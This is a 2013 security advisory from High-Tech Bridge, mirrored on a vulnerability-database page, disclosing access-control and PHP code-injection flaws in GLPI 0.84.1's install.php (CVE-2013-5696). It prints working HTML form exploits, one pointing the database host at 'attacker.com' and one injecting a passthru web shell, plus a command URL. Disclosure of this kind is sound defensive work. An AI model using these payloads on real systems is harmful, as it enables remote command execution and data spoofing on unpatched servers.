Lucene search
K

GLPI 0.84.1 - Multiple Vulnerabilities

🗓️ 02 Oct 2013 00:00:00Reported by High-Tech BridgeType 
zdt
 zdt
🔗 0day.today👁 54 Views

GLPI 0.84.1 - Multiple Vulnerabilities, Improper Access Control, Code Injectio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GLPI install.php Remote Command Execution Vulnerability
21 Sep 201300:00
zdt
ALT Linux
Security fix for the ALT Linux 9 package glpi version 0.84.2-alt1
20 Sep 201300:00
altlinux
ALT Linux
Security fix for the ALT Linux 10 package glpi version 0.84.2-alt1
20 Sep 201300:00
altlinux
Circl
CVE-2013-5696
23 Sep 201300:00
circl
Check Point Advisories
GLPI install.php Remote Command Execution (CVE-2013-5696)
29 Dec 201300:00
checkpoint_advisories
CVE
CVE-2013-5696
23 Sep 201301:00
cve
Cvelist
CVE-2013-5696
23 Sep 201301:00
cvelist
Dsquare
GLPI 0.84.1 RCE
4 Oct 201300:00
dsquare
Exploit DB
GLPI - 'install.php' Remote Command Execution (Metasploit)
23 Sep 201300:00
exploitdb
Exploit DB
GLPI 0.84.1 - Multiple Vulnerabilities
2 Oct 201300:00
exploitdb
Rows per page
Product: GLPI
Vendor: INDEPNET
Vulnerable Version(s): 0.84.1 and probably prior
Tested Version: 0.84.1
Advisory Publication: September 11, 2013 [without technical details]
Vendor Notification: September 11, 2013
Vendor Patch: September 12, 2013
Public Disclosure: October 2, 2013
Vulnerability Type: Improper Access Control [CWE-284],Code Injection [CWE-94]
CVE Reference: CVE-2013-5696
Risk Level: Critical
CVSSv2 Base Scores: 6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P), 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
 
------------------------------------------------------------------------
-----------------------
 
Advisory Details:
 
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GLPI, which can be exploited to bypass security restrictions and execute arbitrary PHP code with privileges of web server.
 
1) Improper Access Control in GLPI
 
The vulnerability exists due to insufficient access restrictions to the installation script "/install/install.php", which is present by default after application installation. A remote attacker can change applicationâ??s configuration, such as database host, forcing the application to connect to an external database and spoof information on the website, obtain access to sensitive information or simply cause a denial of service.
 
Simple exploit below changes the database hostname to "attacker.com", which forces the application to connect to a malicious database controlled by the attacker:
 
<form action="http://[host]/install/install.php" method="post" name="main">
<input type="hidden" name="install" value="update_1">
<input type="hidden" name="db_host" value="attacker.com">
<input type="submit" id="btn">
</form>
 
2) Arbitrary PHP Code Injection in GLPI
 
The vulnerability exists due to insufficient validation of user-supplied input passed to the "db_host", "db_user", "db_pass", and "databasename" HTTP POST parameters via "/install/install.php" script [that is present by default after application installation] before writing data into "/config_db.php" file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable system.
 
Simple exploit below injects "passthru($_GET['cmd'])" PHP code into "config_db.php" file allowing a remote attacker to execute arbitrary system command with privileges of the web server:
 
<form action="http://[host]/install/install.php" method="post" name="main">
<input type="hidden" name="install" value="update_1">
<input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*">
<input type="submit" id="btn">
</form>
 
After that attacker can access the web shell to execute system commands via the following URL:
http://[host]/index.php?cmd=ls -la; id; pwd;
 
------------------------------------------------------------------------
-----------------------
 
Solution:
 
Update to GLPI 0.84.2
 
More Information:
http://www.glpi-project.org/spip.php?page=annonce&id_breve=307&lang=fr
https://forge.indepnet.net/issues/4480

#  0day.today [2018-02-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation